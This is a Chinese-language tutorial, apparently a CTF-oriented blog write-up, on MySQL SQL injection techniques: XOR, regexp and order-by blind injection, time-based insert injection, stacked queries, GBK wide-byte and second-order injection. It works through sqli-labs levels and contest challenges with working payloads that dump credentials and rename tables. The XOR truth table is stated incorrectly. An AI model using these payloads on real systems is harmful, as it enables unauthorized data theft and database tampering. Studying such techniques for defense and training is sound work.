SQL注入中的点点滴滴
盲注中的多种技巧
XOR盲注(异或盲注)
基本原理
异或是一种逻辑运算。
运算法则:
两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1);
null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^
或者 xor
;
两个同为真的条件做异或,结果为假
两个同为假的条件做异或,结果为假
一个条件为真,一个条件为假,结果为假
null与任何条件(真、假、null)做异或,结果都为null
题目环境
http://123.206.31.85:49167/index.php
xor
注入的基本思路是:在MySQL
中异或的符号是^
,该符号可以起到一种逻辑判断的作用,0^1=1
、0^0=0
这样可以形成一种布尔盲注的效果,对其中的字符进行逐一猜解即可。
例题解析
首先请求题目发现是一个登陆框
一般对于登陆框的注入思路也就那几种,这边考察的注入出admin账户的密码。这里尝试简单的fuzz一下,发现其中过滤了or
逗号,空格注释符等号等特殊字符,并且关键库information_schema
也被过滤了。但是可以尝试一下payload:admin'^(ascii(substr((password)from({})))>{})#
,既然是盲注,那就直接上脚本好了:
1 | #!/usr/bin/env python3 |
跑出admin
账户的密码md5
值:51b7a76d51e70b419f60d3473fb6f900
尝试登录无果,直接使用MD5
破解,得到明文字符skctf123456
直接尝试登录得到flag
:SKCTF{b1iNd_SQL_iNJEcti0n!}
regexp/relike盲注
注入原理
REGEXP
注入,即regexp
正则表达式注入。REGEXP
注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
regexp基本用法
- 语法
1 | select (select 语句) regexp '正则' |
- 标准查询语句,直接返回查询结果
1 | select username from users where id=1; |
- 正则匹配,若匹配,则返回1,不匹配返回0
1 | mysql> select (select username from users where id=1) regexp '^d'; |
注:^
表示pattern
(模式串)的开头。即若匹配到username
字段下id=1
的数据开头为a,则返回1;否则返回0
- 使用
regexp
表示where条件中的=号
1 | mysql> select * from users where password regexp '^ad'; |
使用场景
=、in、like
被过滤的情况下使用
若^
被过滤,可使用$
来从后往前进行匹配
- 常用
regexp
正则语句:
1 | regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中 |
regexp
在联合查询中的使用
1 | mysql> select username,password from users where id=1 union select 1,database() regexp '^s'; |
sqlilab中简单场景的运用
sqli-labs
靶场Less-8
是一个简单的布尔盲注实验环境,这个实验环境是没有经过任何过滤的。
- 判断库的长度
'or (length(database())=8)--+
#返回正常
- 判断库名
' or database() regexp '^s'--+
#返回正常
' or database() regexp 'y$'--+
#返回正常
既然这么简单,就直接上个脚本一把梭
1 | #!/usr/local/env python3 |
例题实战
简单请求发现存在robots.txt
,请求后提示存在hint.txt
提示中告诉了我们一个语句select * from users where username='$_POST["username"]' and password='$_POST["password"]';
并且成功注入出密码才可以得到flag
首先fuzz一下,看看过滤了哪些东西
我们发现单引号 双引号
被过滤了
union select
被过滤了
= like
也被过滤了
至此我们大部分的过滤思路都被限制了
根据注入语句这里我们想到单引号逃逸这个手段
看fuzz结果,我们发现反斜杠没有被过滤,因此我们可以使用反斜杠将单引号转义,这要可以实现sql语句的逃逸
根据输入sql语句,假设username
的值为admin\
,密码是or 1#
,那么这个语句的结果将会如下:
1 | select username,password from user where username='admin\' and password=' or 1#' |
这样由于单引号被转义, 其中的and password=
这部分就成了username
的一部分,or 1
就逃逸了出来
直接尝试regexp
盲注方式,构造payload为password:or password regexp binary '^A'#
这里的binary
关键字是用于区分大小写,由于直接 regexp
匹配在 3.23.4 版本后是不分大小写
这里还由于过滤的单引号,所以对带入的匹配字符进行16进制加密
这边直接上脚本
1 | #!/usr/local/env python3 |
注入出密码为:OhyOuFOuNdit
登录后直接获取flag
order by盲注
order by 子句
作用:对查询返回的结果按一列或多列排序。
语法格式:ORDER BY {column_name [ASC|DASC]}[,...n]
注意:order by
语句默认按照升序对记录进行排序
基础知识
1 | select id,username,password from users order by username,password desc; |
如果是按照列中的字符串来排序的话,是按照字符串的首字母以其在26字母表中的位置来排序的。
如果order by的后面有多个参数,则会先照第一个参数进行排序,如果在按照第一个参数排完序之后,其中有重复的,则这些重复的会再按照第二个参数进行排序
order by 盲注概念
根据不同的列排序,会返回不同的结果,因此这里可以使用类似于bool型盲注的形式来注入,即使判断结果与某种返回内容相关联,来实现注入。
(即:所谓的order by盲注就是以其排序结果为基准,来判断注入语句是否被成功执行,从而来进行暴力猜解)
order by常用盲注语句
1 | select * from user order by id|(if(substr(database(),1,1)='a',1,2)); |
sqlilab-less48
请求传入sort
变量,返回结果为查询的排序列表;输入不同查询sort
,返回不同查询排序列表;
?sort=id
?sort=username
构造盲注语句,根据返回不同的排序列,猜解数据结果值;
?sort=id|(if((substr(database(),1,1)='s'),1,2))
匹配返回标准排序结果
?sort=id|(if((substr(database(),1,1)='a'),1,2))
不匹配返回另外的排序结果
根据上述情况,直接编写盲注脚本:
1 | #!/usr/localenv python3 |
insert into注入
语句基础
INSERT INTO 语句用于向表中插入新记录。
语法格式
INSERT INTO 语句可以有两种编写形式。
第一种形式无需指定要插入数据的列名,只需提供被插入的值即可:
1 | INSERT INTO table_name |
第二种形式需要指定列名及被插入的值:
1 | INSERT INTO table_name (column1,column2,column3,...) |
真题案例
题目为Bugku
中的一道insert into
注入题。
题目源码
题目一开始给定了我们源码,并且hint
中提示:写一个python
脚本吧!
1 |
|
题目分析
根据题目给定的源码可以发现注入点在http
头的x-forwarded-for
处;
且题目中过滤逗号,那么常规的update
和报错注入和if
语句都没法使用;
这里可以使用select case when xxx then xxx else xxx end;
语句来代替if
语句的使用;
题目中过滤了逗号,substr
的中的逗号,可以使用from x for x
的方式来替换;
知识储备
select case xxx when xxx then xxx else xxx end;
漏洞利用
注入点是在http
头的x-forwarded-for
处;
payload:+' and (select case when (length(database())=8) then sleep(5) else 1 end) and '1'='1
延时5秒响应
payload:+' and (select case when (length(database())=5) then sleep(5) else 1 end) and '1'='1
没有延时直接响应
根据上诉返回情况,我们可以根据页面的响应的时间不通过,对其内容进行逐一猜解,脚本如下:
1 | #!/usr/localenv python3 |
运行结果如下:
堆叠注入
堆叠注入原理
堆叠注入和uinon
联合注入有异曲同工之妙,用法类似,只是不需要堆叠注入使用的;
结束前面的sql
语句:
在使用;
(分号)结束一个sql
语句后,可以继续构造下一条sql
语句;
select * from admin;drop table admin;
//执行这个语句先查询admin
表内容,后删除admin
表;
堆叠注入的优缺点
优点:
使用union联合注入时,须保证前后两个sql语句的可显示字段数量要相同,使用堆叠注入则不需要考虑这个限制,其可以执行任意语句;
缺点:
堆叠注入并不是每个环境下都可以执行,有可能会受到api或者数据库引擎不支持的限制;
目前已知支持堆叠注入的有:
asp | sql server |
---|---|
ASP.NET | SQL SERVER |
PHP | SQL SERVER MYSQL |
堆叠注入的利用(sqlilab-less38)
带入单引号,数据返回错误信息,判断当前存在注入点
http://192.168.2.220:8080/Less-38/?id=-1'
使用order by
判断字段位数
当带入的值为3时,页面响应正常
http://192.168.2.220:8080/Less-38/?id=1'order by 3--+
当带入的值为4时,页面响应异常,判断判断当前表中字段长度为3
http://192.168.2.220:8080/Less-38/?id=1'order by 4--+
使用联合查询获取所有库名
http://192.168.2.220:8080/Less-38/?id=-1' union select 1,group_concat(schema_name),2 from information_schema.schemata --+
新增库判断是否存在堆叠注入
http://192.168.2.220:8080/Less-38/?id=-1';create database duidietest--+
利用查库重新获取当前mysql的所有库名,发现新增库名成功,则判断是堆叠注入
http://192.168.2.220:8080/Less-38/?id=-1' union select 1,group_concat(schema_name),2 from information_schema.schemata --+
真题环境复现(强网杯2019-随便注)
环境复现
cd sql_injection_qw2019_stacked
docker-compose up -d
题目分析
提交框带入单引号,返回报错语句,判断存在注入;
使用order尝试字段数量猜解;
1' order by 2#
返回正常
1' order by 3#
返回错误,判断字段数量为2
尝试使用union select
语句注入出库名;
1' union select 1,database()#
根据返回信息发现存在过滤,常用敏感字符均被过滤;但是没有过滤分号,尝试使用堆叠注入获取表名;
1';show tables;#
尝试获取words表中的字段;1';show columns from words;#
尝试获取1919810931114514
表中的字段;
1';show columns from ``1919810931114514``;#
注:若表名为纯数字时,查询字段需要将表名用反引号包裹起来
目前已经获取到了表中flag
的字段名,怎么获取字段内容是关键点;
解法一:使用rename
把words
表更名为其他的表名;在把表1919810931114514
改成words
;给新words
表添加新的列名id
;将flag
改名为data
;
payload1
:
1 | 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;# |
payload12
:
1 | 1' or 1=1# |
解法二:
1 | 将select * from ` 1919810931114514 `进行16进制编码; |
prepare…from…
是预处理语句,会进行编码转换。execute
用来执行由SQLPrepare
创建的SQL
语句。SELECT
可以在一条语句里对多个变量同时赋值,而SET
只能一次对一个变量赋值。
解法三:
payload:
1 | 1'; handler `1919810931114514` open as `a`; handler `a` read next;# |
宽字节注入
宽字节注入的概念
• 宽字节是相对于ascii
这样的单字节而言的;像GB2312、GBK、GB18030、BIG5、Shift_IIS
等这些都是常说的宽字节,实际上只有两个字节
• GBK
是一种多字符编码,通常来说,一个gbk
编码汉字、占用2个字节。一个utf-8
编码的汉字,占用3个字节
宽字节注入的原理
GBK
占用两字节,ASCII
占用一字节
PHP
中编码为GBK
,函数执行添加的是ASCII
编码(添加的符号为“\”),MYSQL
默认字符集是GBK
等宽字节字符集。
大家都知道%df'
被PHP
转义(开启GPC
、用addslashes
函数,或者icov
等),单引号被加上反斜杠\
,变成了 %df\'
,其中\
的十六进制是 %5C
,那么现在 %df\’ =%df%5c%27
,如果程序的默认字符集是GBK
等宽字节字符集,则MySQL
用GBK
的编码时,会认为%df%5c
是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’
,有了单引号就好注入了。
宽字节注入前提条件
简单理解:
数据库编码与PHP
编码设置为不同的两个编码那么就有可能产生宽字节注入
深入讲解:
要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析SQL
语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100)
的字符,初步的测试结果 Big5
和 GBK
字符集都是有的, UTF-8
和 GB2312
没有这种字符(也就不存在宽字节注入)。
宽字节注入的利用(sqlilab-less38)
测试页面存在注入点
首先我们用常规测试方法带入单引号,判断当前页面是否存在注入。如下图所示:
通过图片我们发现当前页面数据回显结果是正常的,下面提示信息我们看到,原来我们带入的单引号被增加一反斜杠转义了,所以导致我们的单引号带入失效。这边我们可以联想到源码中可能用了addslashes
函数等我们带入的特殊字符进行了转义。
查看源码
1 | function check_addslashes($string) |
通过源码我们看到mysql设置了gbk的编码方式,这边我们想到宽字节注入。
http://192.168.31.220:8080/Less-32/?id=1%df'
我们发现此时页面报错,这是php
使用addslashes
函数将%df'
中的单引号转义,形成%df\'
。mysql
的gbk
编码把%df\
认为是一个汉字,此时单引号就成功逃逸出来,产生了注入。后面使用常见的联合注入即可。
猜解数据名
首先使用order by函数判断当前库的字段数量
http://192.168.31.220:8080/Less-32/?id=-1%df' order by 4--+
带入参数4时,数据库报错。判断当前字段数量为4
http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,database(),3--+
获取到当前数据库的名称为security
猜解库中的表名
http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
获取当前库下的表名为emails,referers,uagents,users
猜解users表中的字段名
http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x27736563757269747927 and table_name=0x27757365727327--+
获取字段内容
http://192.168.31.220:8080/Less-32/?id=-1%df' union select 1,group_concat(username,password),3 from users--+
二次注入
注入和二次注入的区别
sql
注入流程:
• 1.攻击者在注入点输入恶意sql
语句,通过http
请求提交;
• 2.服务器中的应用程序处理恶意的sql
,并向攻击者返回注入结果;
二次注入流程:
• 1.攻击者在注入点提交恶意sql
语句;
• 2.通过http
请求,将恶意sql
保存到应用程序的数据库中;
• 3.攻击者第二次提交http
请求;
• 4.服务器处理第二次http
请求,检索存储在数据库中的恶意sql
,构造sql
语句;
• 5.服务器向攻击者返回注入结果;
二次注入的原理
数据首次插入到数据库中时,应用程序会以( addslashes
或者是借助get*magic*quotes_gpc
对其中的特殊字符进行转义)安全的方式处理这些数据,但是,这些数据可能会被应用程序本身或者其他的后端进程会以危险的方式处理这些数据,从而造成了二次注入。
二次注入的利用
判断注入点
在Less-24实验中,首页的登录界面进行相应的判断测试,测试判断是否存在注入点。但是不管怎么构造参数带入均发现页面如下情况,没有任何其他变化,所以判断此处无注入点。
源码分析
1 | function sqllogin(){ |
通过代码分析发现,数据接收参数login_user
和login_password
都会经过函数mysql_real_escape_string()
处理字符串。
此函数的具体定义如下:
mysql_real_escape_string
函数转义SQL
语句中使用的字符串中的特殊字符.
受影响字符:
1 | \x00 |
使用此函数后,基本上使用这个点注入不太可能。
首页的登录页不行,发现登录页下面还有两个功能。一个是忘记密码,你一个注册新用户。
这里我们首先注册一个test
用户,密码为111111
,然后使用此用户进行登录,登录后的页面如下图所示:
我们发现登录成功之后是一个用户的登录后台页,并且该页面支持当前用户的密码修改,修改密码的代码页名称为pass_change.php
.
我们查看当前页面修改密码的源代码,并进行相应的分析:
1 | if (isset($_POST['submit'])) |
通过源码我们可以看到$username
是直接从session
中读取的,并且没有进行参数的转义处理。curr_pass
和re_pass
经过了函数mysql_real_escape_string
转义处理。因此我们可以直接控制username
这个变量进行相关注入操作。
用户注册成功后,会将用户的基本信息写入到数据库中存储,如下图所示:
前面我们提到mysql_real_escape_string
函数可以将字符串转义直接写入到数据库中存储。
并且由源码我们知道修改密码的SQL
代码为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
username
变量是直接读取数据库的内容,并且没有经过转义。
这边的思路是,可以直接构造一个test'#
用户,新建此用户,再登录进行二次用户调用修改密码的时候,原SQL
语句变为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' ";
由于#号注释掉了后面的语句,所以,我们本来修改的test'#
的密码,但实际上修改了test
的密码,而且test'#
当前密码可以任意输入。
创建test'#
用户
用户名test'#
密码88888
创建完成后,正常登陆
查看数据,发现用户test'#
已被成功写入数据库,如下图所示:
修改当前用户密码
修改当前用户新密码为66666
,并且用户的当前密码为888888
,此处可以输入任意的密码为222222
,可以正常修改密码,如下图所示:
查看数据库,发现test
用户被正常修改,如下图所示:
由此就是整个二次注入的利用过程,这边我门只要相应的构造管理员的用户名就可以任意修改管理员账户的用户名和密码。
真题环境复现(网鼎杯2018-Unfinish)
题目复现
使用buu平台复现
网鼎杯2018-Unfinish
题目分析
首先请求发现是一个登录页,使用几个常用用户名和密码尝试登录,没有任何信息;
使用web扫描器,发现存在register.php
注册功能页面,尝试注册一个用户并登录;
登录成功后,我们可以在登录成功页发现登录用户的用户名;
那么这种题型我们能想到就是二次注入的可能性最大;
并且注册时有个特点,就是注册成功会得到302的状态码并跳转至login.php
;如果注册失败,只会返回200的状态码;
并且里面有一定的字符串过滤,简单测试,大概过滤了逗号,information_schema
等字符;
一般过滤了information_schema
字符的话,就很少可能在再能直接拆解库表字段名,所以这里猜测是flag;
payload:0'%2bascii(substr(database() from 1 for 1))%2b'0
;注册后成功获取到库名第一个首字母的ascii
值;
构造获取flag
的payload
;0'%2bascii(substr((select * from flag) from 1 for 1))%2b'0
按照此方法以依次猜解flag的字段内容即可,这里直接上脚本:
1 | #!/usr/local/env pyton3 |